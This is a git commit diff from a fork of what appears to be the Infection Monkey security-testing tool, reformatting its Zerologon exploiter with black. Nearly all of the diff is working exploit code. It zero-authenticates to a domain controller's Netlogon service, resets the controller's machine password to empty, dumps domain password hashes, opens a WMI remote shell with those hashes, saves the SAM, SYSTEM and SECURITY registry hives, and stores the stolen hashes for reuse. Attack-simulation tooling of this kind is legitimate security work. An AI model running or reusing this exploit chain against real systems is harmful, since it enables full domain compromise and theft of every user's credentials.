forked from p15670423/monkey
Format all zerologon files with black
This commit is contained in:
parent
2ef892e33f
commit
6883e4a5f1
|
@ -17,8 +17,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
|
||||||
from infection_monkey.exploit.zerologon_utils.options import \
|
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
|
||||||
OptionsForSecretsdump
|
|
||||||
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
|
||||||
from infection_monkey.utils.capture_output import StdoutCapture
|
from infection_monkey.utils.capture_output import StdoutCapture
|
||||||
|
|
||||||
|
@ -27,21 +26,23 @@ LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class ZerologonExploiter(HostExploiter):
|
class ZerologonExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ["windows"]
|
||||||
_EXPLOITED_SERVICE = 'Netlogon'
|
_EXPLOITED_SERVICE = "Netlogon"
|
||||||
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
EXPLOIT_TYPE = ExploitType.VULNERABILITY
|
||||||
RUNS_AGENT_ON_SUCCESS = False
|
RUNS_AGENT_ON_SUCCESS = False
|
||||||
MAX_ATTEMPTS = 2000
|
MAX_ATTEMPTS = 2000
|
||||||
ERROR_CODE_ACCESS_DENIED = 0xc0000022
|
ERROR_CODE_ACCESS_DENIED = 0xC0000022
|
||||||
|
|
||||||
def __init__(self, host: object):
|
def __init__(self, host: object):
|
||||||
super().__init__(host)
|
super().__init__(host)
|
||||||
self.vulnerable_port = None
|
self.vulnerable_port = None
|
||||||
self.exploit_info['credentials'] = {}
|
self.exploit_info["credentials"] = {}
|
||||||
self._extracted_creds = {}
|
self._extracted_creds = {}
|
||||||
|
|
||||||
def _exploit_host(self) -> bool:
|
def _exploit_host(self) -> bool:
|
||||||
self.dc_ip, self.dc_name, self.dc_handle = ZerologonExploiter.get_dc_details(self.host)
|
self.dc_ip, self.dc_name, self.dc_handle = ZerologonExploiter.get_dc_details(
|
||||||
|
self.host
|
||||||
|
)
|
||||||
|
|
||||||
is_exploitable, rpc_con = self.is_exploitable()
|
is_exploitable, rpc_con = self.is_exploitable()
|
||||||
if is_exploitable:
|
if is_exploitable:
|
||||||
|
@ -54,7 +55,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
rpc_con.disconnect()
|
rpc_con.disconnect()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
LOG.info("Exploit not attempted. Target is most likely patched, or an error was encountered.")
|
LOG.info(
|
||||||
|
"Exploit not attempted. Target is most likely patched, or an error was encountered."
|
||||||
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Restore DC's original password.
|
# Restore DC's original password.
|
||||||
|
@ -73,7 +76,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
def get_dc_details(host: object) -> (str, str, str):
|
def get_dc_details(host: object) -> (str, str, str):
|
||||||
dc_ip = host.ip_addr
|
dc_ip = host.ip_addr
|
||||||
dc_name = ZerologonExploiter.get_dc_name(dc_ip=dc_ip)
|
dc_name = ZerologonExploiter.get_dc_name(dc_ip=dc_ip)
|
||||||
dc_handle = '\\\\' + dc_name
|
dc_handle = "\\\\" + dc_name
|
||||||
return dc_ip, dc_name, dc_handle
|
return dc_ip, dc_name, dc_handle
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -83,10 +86,12 @@ class ZerologonExploiter(HostExploiter):
|
||||||
"""
|
"""
|
||||||
try:
|
try:
|
||||||
nb = nmb.NetBIOS.NetBIOS()
|
nb = nmb.NetBIOS.NetBIOS()
|
||||||
name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None
|
name = nb.queryIPForName(
|
||||||
return name[0] if name else ''
|
ip=dc_ip
|
||||||
|
) # returns either a list of NetBIOS names or None
|
||||||
|
return name[0] if name else ""
|
||||||
except BaseException as ex:
|
except BaseException as ex:
|
||||||
LOG.info(f'Exception: {ex}')
|
LOG.info(f"Exception: {ex}")
|
||||||
|
|
||||||
def is_exploitable(self) -> (bool, object):
|
def is_exploitable(self) -> (bool, object):
|
||||||
# Connect to the DC's Netlogon service.
|
# Connect to the DC's Netlogon service.
|
||||||
|
@ -110,39 +115,46 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def connect_to_dc(dc_ip) -> object:
|
def connect_to_dc(dc_ip) -> object:
|
||||||
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
|
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||||
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
|
||||||
rpc_con.connect()
|
rpc_con.connect()
|
||||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||||
return rpc_con
|
return rpc_con
|
||||||
|
|
||||||
def _try_zero_authenticate(self, rpc_con: object) -> object:
|
def _try_zero_authenticate(self, rpc_con: object) -> object:
|
||||||
plaintext = b'\x00' * 8
|
plaintext = b"\x00" * 8
|
||||||
ciphertext = b'\x00' * 8
|
ciphertext = b"\x00" * 8
|
||||||
flags = 0x212fffff
|
flags = 0x212FFFFF
|
||||||
|
|
||||||
# Send challenge and authentication request.
|
# Send challenge and authentication request.
|
||||||
nrpc.hNetrServerReqChallenge(
|
nrpc.hNetrServerReqChallenge(
|
||||||
rpc_con, self.dc_handle + '\x00', self.dc_name + '\x00', plaintext)
|
rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext
|
||||||
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
rpc_con, self.dc_handle + '\x00', self.dc_name +
|
rpc_con,
|
||||||
'$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
self.dc_handle + "\x00",
|
||||||
self.dc_name + '\x00', ciphertext, flags
|
self.dc_name + "$\x00",
|
||||||
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
|
self.dc_name + "\x00",
|
||||||
|
ciphertext,
|
||||||
|
flags,
|
||||||
)
|
)
|
||||||
|
|
||||||
assert server_auth['ErrorCode'] == 0
|
assert server_auth["ErrorCode"] == 0
|
||||||
return rpc_con
|
return rpc_con
|
||||||
|
|
||||||
except nrpc.DCERPCSessionError as ex:
|
except nrpc.DCERPCSessionError as ex:
|
||||||
if ex.get_error_code() == 0xc0000022: # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
if (
|
||||||
|
ex.get_error_code() == 0xC0000022
|
||||||
|
): # STATUS_ACCESS_DENIED error; if not this, probably some other issue.
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
raise Exception(f'Unexpected error code: {ex.get_error_code()}.')
|
raise Exception(f"Unexpected error code: {ex.get_error_code()}.")
|
||||||
|
|
||||||
except BaseException as ex:
|
except BaseException as ex:
|
||||||
raise Exception(f'Unexpected error: {ex}.')
|
raise Exception(f"Unexpected error: {ex}.")
|
||||||
|
|
||||||
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
|
def _send_exploit_rpc_login_requests(self, rpc_con) -> bool:
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
|
@ -170,32 +182,36 @@ class ZerologonExploiter(HostExploiter):
|
||||||
def attempt_exploit(self, rpc_con: object) -> object:
|
def attempt_exploit(self, rpc_con: object) -> object:
|
||||||
request = nrpc.NetrServerPasswordSet2()
|
request = nrpc.NetrServerPasswordSet2()
|
||||||
ZerologonExploiter._set_up_request(request, self.dc_name)
|
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||||
request['PrimaryName'] = self.dc_handle + '\x00'
|
request["PrimaryName"] = self.dc_handle + "\x00"
|
||||||
request['ClearNewPassword'] = b'\x00' * 516
|
request["ClearNewPassword"] = b"\x00" * 516
|
||||||
|
|
||||||
return rpc_con.request(request)
|
return rpc_con.request(request)
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _set_up_request(request: object, dc_name: str) -> None:
|
def _set_up_request(request: object, dc_name: str) -> None:
|
||||||
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
|
||||||
authenticator['Credential'] = b'\x00' * 8
|
authenticator["Credential"] = b"\x00" * 8
|
||||||
authenticator['Timestamp'] = b'\x00' * 4
|
authenticator["Timestamp"] = b"\x00" * 4
|
||||||
|
|
||||||
request['AccountName'] = dc_name + '$\x00'
|
request["AccountName"] = dc_name + "$\x00"
|
||||||
request['ComputerName'] = dc_name + '\x00'
|
request["ComputerName"] = dc_name + "\x00"
|
||||||
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
request[
|
||||||
request['Authenticator'] = authenticator
|
"SecureChannelType"
|
||||||
|
] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
|
||||||
|
request["Authenticator"] = authenticator
|
||||||
|
|
||||||
def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool:
|
def assess_exploit_attempt_result(self, exploit_attempt_result) -> bool:
|
||||||
if exploit_attempt_result:
|
if exploit_attempt_result:
|
||||||
if exploit_attempt_result['ErrorCode'] == 0:
|
if exploit_attempt_result["ErrorCode"] == 0:
|
||||||
self.report_login_attempt(result=True, user=self.dc_name)
|
self.report_login_attempt(result=True, user=self.dc_name)
|
||||||
_exploited = True
|
_exploited = True
|
||||||
LOG.info("Exploit complete!")
|
LOG.info("Exploit complete!")
|
||||||
else:
|
else:
|
||||||
self.report_login_attempt(result=False, user=self.dc_name)
|
self.report_login_attempt(result=False, user=self.dc_name)
|
||||||
_exploited = False
|
_exploited = False
|
||||||
LOG.info(f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong.")
|
LOG.info(
|
||||||
|
f"Non-zero return code: {exploit_attempt_result['ErrorCode']}. Something went wrong."
|
||||||
|
)
|
||||||
return _exploited
|
return _exploited
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -210,20 +226,29 @@ class ZerologonExploiter(HostExploiter):
|
||||||
LOG.debug("DCSync; getting usernames and their passwords' hashes.")
|
LOG.debug("DCSync; getting usernames and their passwords' hashes.")
|
||||||
user_creds = self.get_all_user_creds()
|
user_creds = self.get_all_user_creds()
|
||||||
if not user_creds:
|
if not user_creds:
|
||||||
raise Exception("Couldn't extract any usernames and/or their passwords' hashes.")
|
raise Exception(
|
||||||
|
"Couldn't extract any usernames and/or their passwords' hashes."
|
||||||
|
)
|
||||||
|
|
||||||
# Use above extracted credentials to get original DC password's hashes.
|
# Use above extracted credentials to get original DC password's hashes.
|
||||||
LOG.debug("Getting original DC password's NT hash.")
|
LOG.debug("Getting original DC password's NT hash.")
|
||||||
original_pwd_nthash = None
|
original_pwd_nthash = None
|
||||||
for user_details in user_creds:
|
for user_details in user_creds:
|
||||||
username = user_details[0]
|
username = user_details[0]
|
||||||
user_pwd_hashes = [user_details[1]['lm_hash'], user_details[1]['nt_hash']]
|
user_pwd_hashes = [
|
||||||
|
user_details[1]["lm_hash"],
|
||||||
|
user_details[1]["nt_hash"],
|
||||||
|
]
|
||||||
try:
|
try:
|
||||||
original_pwd_nthash = self.get_original_pwd_nthash(username, ':'.join(user_pwd_hashes))
|
original_pwd_nthash = self.get_original_pwd_nthash(
|
||||||
|
username, ":".join(user_pwd_hashes)
|
||||||
|
)
|
||||||
if original_pwd_nthash:
|
if original_pwd_nthash:
|
||||||
break
|
break
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Credentials \"{user_details}\" didn't work. Exception: {str(e)}")
|
LOG.info(
|
||||||
|
f'Credentials "{user_details}" didn\'t work. Exception: {str(e)}'
|
||||||
|
)
|
||||||
|
|
||||||
if not original_pwd_nthash:
|
if not original_pwd_nthash:
|
||||||
raise Exception("Couldn't extract original DC password's NT hash.")
|
raise Exception("Couldn't extract original DC password's NT hash.")
|
||||||
|
@ -237,7 +262,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# Start restoration attempts.
|
# Start restoration attempts.
|
||||||
LOG.debug("Attempting password restoration.")
|
LOG.debug("Attempting password restoration.")
|
||||||
_restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash)
|
_restored = self._send_restoration_rpc_login_requests(
|
||||||
|
rpc_con, original_pwd_nthash
|
||||||
|
)
|
||||||
if not _restored:
|
if not _restored:
|
||||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||||
|
|
||||||
|
@ -256,77 +283,96 @@ class ZerologonExploiter(HostExploiter):
|
||||||
options = OptionsForSecretsdump(
|
options = OptionsForSecretsdump(
|
||||||
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
target_ip=self.dc_ip,
|
target_ip=self.dc_ip,
|
||||||
dc_ip=self.dc_ip
|
dc_ip=self.dc_ip,
|
||||||
)
|
)
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip,
|
dumped_secrets = self.get_dumped_secrets(
|
||||||
username=f"{self.dc_name}$",
|
remote_name=self.dc_ip, username=f"{self.dc_name}$", options=options
|
||||||
options=options)
|
)
|
||||||
|
|
||||||
self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
self._extract_user_creds_from_secrets(dumped_secrets=dumped_secrets)
|
||||||
|
|
||||||
creds_to_use_for_getting_original_pwd_hashes = []
|
creds_to_use_for_getting_original_pwd_hashes = []
|
||||||
admin = 'Administrator'
|
admin = "Administrator"
|
||||||
for user in self._extracted_creds.keys():
|
for user in self._extracted_creds.keys():
|
||||||
if user == admin: # most likely to work so try this first
|
if user == admin: # most likely to work so try this first
|
||||||
creds_to_use_for_getting_original_pwd_hashes.insert(0, (user, self._extracted_creds[user]))
|
creds_to_use_for_getting_original_pwd_hashes.insert(
|
||||||
|
0, (user, self._extracted_creds[user])
|
||||||
|
)
|
||||||
else:
|
else:
|
||||||
creds_to_use_for_getting_original_pwd_hashes.append((user, self._extracted_creds[user]))
|
creds_to_use_for_getting_original_pwd_hashes.append(
|
||||||
|
(user, self._extracted_creds[user])
|
||||||
|
)
|
||||||
|
|
||||||
return creds_to_use_for_getting_original_pwd_hashes
|
return creds_to_use_for_getting_original_pwd_hashes
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}")
|
LOG.info(
|
||||||
|
f"Exception occurred while dumping secrets to get some username and its password's NT hash: {str(e)}"
|
||||||
|
)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
def get_dumped_secrets(self,
|
def get_dumped_secrets(
|
||||||
remote_name: str = '',
|
self,
|
||||||
username: str = '',
|
remote_name: str = "",
|
||||||
options: Optional[object] = None) -> List[str]:
|
username: str = "",
|
||||||
dumper = DumpSecrets(remote_name=remote_name,
|
options: Optional[object] = None,
|
||||||
username=username,
|
) -> List[str]:
|
||||||
options=options)
|
dumper = DumpSecrets(
|
||||||
dumped_secrets = dumper.dump().split('\n')
|
remote_name=remote_name, username=username, options=options
|
||||||
|
)
|
||||||
|
dumped_secrets = dumper.dump().split("\n")
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None:
|
def _extract_user_creds_from_secrets(self, dumped_secrets: List[str]) -> None:
|
||||||
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
|
# format of secret we're looking for - "domain\uid:rid:lmhash:nthash:::"
|
||||||
re_phrase =\
|
re_phrase = r"([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])"
|
||||||
r'([\S]*[:][0-9]*[:][a-zA-Z0-9]*[:][a-zA-Z0-9]*[:][:][:])'
|
|
||||||
|
|
||||||
for line in dumped_secrets:
|
for line in dumped_secrets:
|
||||||
secret = re.fullmatch(pattern=re_phrase, string=line)
|
secret = re.fullmatch(pattern=re_phrase, string=line)
|
||||||
if secret:
|
if secret:
|
||||||
parts_of_secret = secret[0].split(':')
|
parts_of_secret = secret[0].split(":")
|
||||||
user = parts_of_secret[0].split('\\')[-1] # we don't want the domain
|
user = parts_of_secret[0].split("\\")[-1] # we don't want the domain
|
||||||
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
user_RID, lmhash, nthash = parts_of_secret[1:4]
|
||||||
|
|
||||||
self._extracted_creds[user] = {'RID': int(user_RID), # relative identifier
|
self._extracted_creds[user] = {
|
||||||
'lm_hash': lmhash,
|
"RID": int(user_RID), # relative identifier
|
||||||
'nt_hash': nthash}
|
"lm_hash": lmhash,
|
||||||
|
"nt_hash": nthash,
|
||||||
|
}
|
||||||
|
|
||||||
def store_extracted_creds_for_exploitation(self) -> None:
|
def store_extracted_creds_for_exploitation(self) -> None:
|
||||||
for user in self._extracted_creds.keys():
|
for user in self._extracted_creds.keys():
|
||||||
self.add_extracted_creds_to_exploit_info(user,
|
self.add_extracted_creds_to_exploit_info(
|
||||||
self._extracted_creds[user]['lm_hash'],
|
user,
|
||||||
self._extracted_creds[user]['nt_hash'])
|
self._extracted_creds[user]["lm_hash"],
|
||||||
self.add_extracted_creds_to_monkey_config(user,
|
self._extracted_creds[user]["nt_hash"],
|
||||||
self._extracted_creds[user]['lm_hash'],
|
)
|
||||||
self._extracted_creds[user]['nt_hash'])
|
self.add_extracted_creds_to_monkey_config(
|
||||||
|
user,
|
||||||
|
self._extracted_creds[user]["lm_hash"],
|
||||||
|
self._extracted_creds[user]["nt_hash"],
|
||||||
|
)
|
||||||
|
|
||||||
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None:
|
def add_extracted_creds_to_exploit_info(
|
||||||
self.exploit_info['credentials'].update({
|
self, user: str, lmhash: str, nthash: str
|
||||||
user: {
|
) -> None:
|
||||||
'username': user,
|
self.exploit_info["credentials"].update(
|
||||||
'password': '',
|
{
|
||||||
'lm_hash': lmhash,
|
user: {
|
||||||
'ntlm_hash': nthash
|
"username": user,
|
||||||
|
"password": "",
|
||||||
|
"lm_hash": lmhash,
|
||||||
|
"ntlm_hash": nthash,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
})
|
)
|
||||||
|
|
||||||
# so other exploiters can use these creds
|
# so other exploiters can use these creds
|
||||||
def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None:
|
def add_extracted_creds_to_monkey_config(
|
||||||
|
self, user: str, lmhash: str, nthash: str
|
||||||
|
) -> None:
|
||||||
if user not in self._config.exploit_user_list:
|
if user not in self._config.exploit_user_list:
|
||||||
self._config.exploit_user_list.append(user)
|
self._config.exploit_user_list.append(user)
|
||||||
|
|
||||||
|
@ -344,49 +390,56 @@ class ZerologonExploiter(HostExploiter):
|
||||||
options = OptionsForSecretsdump(
|
options = OptionsForSecretsdump(
|
||||||
dc_ip=self.dc_ip,
|
dc_ip=self.dc_ip,
|
||||||
just_dc=False,
|
just_dc=False,
|
||||||
system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'),
|
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
|
||||||
sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'),
|
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
|
||||||
security=os.path.join(os.path.expanduser('~'), 'monkey-security.save')
|
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
|
||||||
)
|
)
|
||||||
|
|
||||||
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
|
dumped_secrets = self.get_dumped_secrets(
|
||||||
options=options)
|
remote_name="LOCAL", options=options
|
||||||
|
)
|
||||||
for secret in dumped_secrets:
|
for secret in dumped_secrets:
|
||||||
if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
if (
|
||||||
nthash = secret.split(':')[2]
|
"$MACHINE.ACC: " in secret
|
||||||
|
): # format of secret - "$MACHINE.ACC: lmhash:nthash"
|
||||||
|
nthash = secret.split(":")[2]
|
||||||
return nthash
|
return nthash
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}")
|
LOG.info(
|
||||||
|
f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}"
|
||||||
|
)
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
self.remove_locally_saved_HKLM_keys()
|
self.remove_locally_saved_HKLM_keys()
|
||||||
|
|
||||||
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool:
|
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: str) -> bool:
|
||||||
LOG.debug(f"Starting remote shell on victim with user: \"{username}\" and hashes: \"{user_pwd_hashes}\". ")
|
LOG.debug(
|
||||||
|
f'Starting remote shell on victim with user: "{username}" and hashes: "{user_pwd_hashes}". '
|
||||||
|
)
|
||||||
|
|
||||||
wmiexec = Wmiexec(ip=self.dc_ip,
|
wmiexec = Wmiexec(
|
||||||
username=username,
|
ip=self.dc_ip, username=username, hashes=user_pwd_hashes, domain=self.dc_ip
|
||||||
hashes=user_pwd_hashes,
|
)
|
||||||
domain=self.dc_ip)
|
|
||||||
|
|
||||||
remote_shell = wmiexec.get_remote_shell()
|
remote_shell = wmiexec.get_remote_shell()
|
||||||
if remote_shell:
|
if remote_shell:
|
||||||
with StdoutCapture() as output_captor:
|
with StdoutCapture() as output_captor:
|
||||||
try:
|
try:
|
||||||
# Save HKLM keys on victim.
|
# Save HKLM keys on victim.
|
||||||
remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' +
|
remote_shell.onecmd(
|
||||||
'reg save HKLM\\SAM sam.save && ' +
|
"reg save HKLM\\SYSTEM system.save && "
|
||||||
'reg save HKLM\\SECURITY security.save')
|
+ "reg save HKLM\\SAM sam.save && "
|
||||||
|
+ "reg save HKLM\\SECURITY security.save"
|
||||||
|
)
|
||||||
|
|
||||||
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
# Get HKLM keys locally (can't run these together because it needs to call do_get()).
|
||||||
remote_shell.onecmd('get system.save')
|
remote_shell.onecmd("get system.save")
|
||||||
remote_shell.onecmd('get sam.save')
|
remote_shell.onecmd("get sam.save")
|
||||||
remote_shell.onecmd('get security.save')
|
remote_shell.onecmd("get security.save")
|
||||||
|
|
||||||
# Delete saved keys on victim.
|
# Delete saved keys on victim.
|
||||||
remote_shell.onecmd(
|
remote_shell.onecmd("del /f system.save sam.save security.save")
|
||||||
'del /f system.save sam.save security.save')
|
|
||||||
|
|
||||||
wmiexec.close()
|
wmiexec.close()
|
||||||
|
|
||||||
|
@ -405,27 +458,39 @@ class ZerologonExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def remove_locally_saved_HKLM_keys(self) -> None:
|
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||||
for name in ['system', 'sam', 'security']:
|
for name in ["system", "sam", "security"]:
|
||||||
path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
|
path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save")
|
||||||
try:
|
try:
|
||||||
os.remove(path)
|
os.remove(path)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
LOG.info(
|
||||||
|
f"Exception occurred while removing file {path} from system: {str(e)}"
|
||||||
|
)
|
||||||
|
|
||||||
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
|
def _send_restoration_rpc_login_requests(
|
||||||
|
self, rpc_con, original_pwd_nthash
|
||||||
|
) -> bool:
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
restoration_attempt_result = self.try_restoration_attempt(rpc_con, original_pwd_nthash)
|
restoration_attempt_result = self.try_restoration_attempt(
|
||||||
|
rpc_con, original_pwd_nthash
|
||||||
|
)
|
||||||
|
|
||||||
is_restored = self.assess_restoration_attempt_result(restoration_attempt_result)
|
is_restored = self.assess_restoration_attempt_result(
|
||||||
|
restoration_attempt_result
|
||||||
|
)
|
||||||
if is_restored:
|
if is_restored:
|
||||||
return is_restored
|
return is_restored
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def try_restoration_attempt(self, rpc_con: object, original_pwd_nthash: str) -> bool:
|
def try_restoration_attempt(
|
||||||
|
self, rpc_con: object, original_pwd_nthash: str
|
||||||
|
) -> bool:
|
||||||
try:
|
try:
|
||||||
restoration_attempt_result = self.attempt_restoration(rpc_con, original_pwd_nthash)
|
restoration_attempt_result = self.attempt_restoration(
|
||||||
|
rpc_con, original_pwd_nthash
|
||||||
|
)
|
||||||
return restoration_attempt_result
|
return restoration_attempt_result
|
||||||
except nrpc.DCERPCSessionError as e:
|
except nrpc.DCERPCSessionError as e:
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
|
@ -437,36 +502,47 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]:
|
def attempt_restoration(
|
||||||
plaintext = b'\x00'*8
|
self, rpc_con: object, original_pwd_nthash: str
|
||||||
ciphertext = b'\x00'*8
|
) -> Optional[object]:
|
||||||
flags = 0x212fffff
|
plaintext = b"\x00" * 8
|
||||||
|
ciphertext = b"\x00" * 8
|
||||||
|
flags = 0x212FFFFF
|
||||||
|
|
||||||
# Send challenge and authentication request.
|
# Send challenge and authentication request.
|
||||||
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.dc_handle + '\x00',
|
server_challenge_response = nrpc.hNetrServerReqChallenge(
|
||||||
self.dc_name + '\x00', plaintext)
|
rpc_con, self.dc_handle + "\x00", self.dc_name + "\x00", plaintext
|
||||||
server_challenge = server_challenge_response['ServerChallenge']
|
)
|
||||||
|
server_challenge = server_challenge_response["ServerChallenge"]
|
||||||
|
|
||||||
server_auth = nrpc.hNetrServerAuthenticate3(
|
server_auth = nrpc.hNetrServerAuthenticate3(
|
||||||
rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00',
|
rpc_con,
|
||||||
|
self.dc_handle + "\x00",
|
||||||
|
self.dc_name + "$\x00",
|
||||||
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
|
||||||
self.dc_name + '\x00', ciphertext, flags
|
self.dc_name + "\x00",
|
||||||
|
ciphertext,
|
||||||
|
flags,
|
||||||
)
|
)
|
||||||
|
|
||||||
assert server_auth['ErrorCode'] == 0
|
assert server_auth["ErrorCode"] == 0
|
||||||
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
|
session_key = nrpc.ComputeSessionKeyAES(
|
||||||
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
|
None,
|
||||||
|
b"\x00" * 8,
|
||||||
|
server_challenge,
|
||||||
|
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"),
|
||||||
|
)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
|
||||||
nrpc.OPNUMS[6] = (NetrServerPasswordSet,
|
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
|
||||||
nrpc.NetrServerPasswordSetResponse)
|
|
||||||
|
|
||||||
request = NetrServerPasswordSet()
|
request = NetrServerPasswordSet()
|
||||||
ZerologonExploiter._set_up_request(request, self.dc_name)
|
ZerologonExploiter._set_up_request(request, self.dc_name)
|
||||||
request['PrimaryName'] = NULL
|
request["PrimaryName"] = NULL
|
||||||
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
pwd_data = impacket.crypto.SamEncryptNTLMHash(
|
||||||
unhexlify(original_pwd_nthash), session_key)
|
unhexlify(original_pwd_nthash), session_key
|
||||||
|
)
|
||||||
request["UasNewPassword"] = pwd_data
|
request["UasNewPassword"] = pwd_data
|
||||||
|
|
||||||
rpc_con.request(request)
|
rpc_con.request(request)
|
||||||
|
@ -478,7 +554,9 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
